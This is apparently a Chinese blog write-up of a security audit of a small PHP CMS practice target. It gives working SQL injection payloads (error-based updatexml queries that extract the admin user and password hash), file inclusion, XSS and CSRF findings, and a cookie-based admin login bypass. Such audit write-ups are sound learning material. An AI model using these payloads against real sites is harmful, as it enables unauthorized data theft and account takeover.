首先,先进行代码审计,丢进seay源代码审计系统自动审计,然后接着一个个手动分析代码
1.文件包含
/index.php 和admin/index.php代码如下
分析代码,接收传进来的参数r,进行addslashes过滤( 在每个双引号(")前添加反斜杠: ),然后进行判断,再进行文件包含,则这里是个文件包含漏洞,它加的过滤没效果,到files目录下加一个999.php,然后访问网页输出对应内容
2.SQL注入
看了Seay自动审计可能存在的漏洞,然后有些报的SQL注入有些是误报,如下面误报的文件,没有利用价值(个人认为)
1.admin/files/login.php
分析代码,post传用户名和密码,然后没有经过过滤,直接插进SQL语句中然后查询,这里存在SQL注入漏洞。
先是对user进行查询,user查询成功才进行password的判断,传进来的password经过MD5加密后与数据库的password对比。查询不成功则报错,mysql.error()函数是返回上一个 MySQL 操作产生的文本错误信息。
访问后台,用万能语句试一下1' and 1=1 --+,报错了
所以结合mysql.error()函数进行报错注入,将错误的信息给爆出来回显到页面里,这里我用最熟悉的updatexml()函数,函数里给了表为manage,去后台登录试一下,爆用户名
1' or updatexml(1,concat((select concat(0x7e,user) from manage)),3) #
回显用户名为admin,接着爆密码,这里提一下updatexml(),它爆出来的字段只有27位,而数据库的passwordMD5值是32位,所以要爆两次,相同部分拼接再进行MD5解密即可
1' or updatexml(1,concat((select concat(password,0x7e) from manage)),3) #
2.admin/files/editcolumn.php
自动审计报错了这个文件,但是在报错点没有找到问题,但我往上看来代码,发现了上面存在漏洞
传进来的id和type没有经过过滤,然后把传进来的id插进SQL语句中查询,然后不成功就报错,这样我们就跟上一个漏洞点一样,用报错注入把数据爆出来回显
?r=editcolumn&type=1&id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
?r=editcolumn&type=1&id=1' and updatexml(1,concat((select group_concat(table_name) from information_schema.tables where table_schema = 'taco')),1)--+
但是表报的不完全,没有把manage爆出来,但我们在loign.php知道有manage这个表
?r=editcolumn&type=1&id=1' and updatexml(1,concat(0x7e,(select group_concat(user) from manage),0x7e),1)--+
3.admin/files/editlink.php、admin/files/editsoft.php、admin/files/editwz.php
也是报错点误报,但文件其他地方存在漏洞,也就是跟上面一样得意思,同样得漏洞
?r=editlink&id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
爆出了数据库,其他操作都一样
4.admin/files/newlink.php
这里是post传参,然后也是没对那些参数过滤,然后插入进去创建新用户,这里处在SQL注入,也是报错注入获得数据, 构造闭合直接开注即可
?save=1&name=123&url=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and'
5.admin/files/reply.php
跟上面的一样,然后把数据库爆出来,接下来都是跟上面一样
?r=reply&id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
6./files/content.php
传进来的cid经过addslashes过滤后直接查入,单引号都不加,这里存在漏洞,还有变量navid那里,都一样,跟上面一样
index.php/?r=content&cid=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
xss
1.files/contact.php
这里的传进来的page经过addslashes()过滤,addslashes()只过滤了'、"、\、NULL,仍然可以执行xss命令,这里是反射型xss
?r=contact&page=
2.files/list.php、files/download.php
这两个也是页数那里有问题,这个直接不过滤,payload也一样
csrf漏洞
admin/files/wzlist.php、admin/files/linklist.php
两个都是传进来的delete没有过滤,也没有token验证就直接删除掉,很明显存在csrf攻击的,这里利用burp的自带工具生成poc,然后换一个浏览器访问,就会把delete对应的数据删除,这道题我的burp出了问题抓不了包,所以演示不了,思路是根据pikachu靶场上的题然后推出来的,因为这道题没有任何验证
垂直越权
inc/checklogin.php
如果COOKIE中user为空,跳转到登陆窗。 所以要是COOKIE的user为admin的话,就会成功登录,很明显存在最简单的垂直越权,只要抓一个登录的数据包,在COOKIE里设置user=admin,即可登录admin
来源地址:https://blog.csdn.net/m0_64583632/article/details/127792133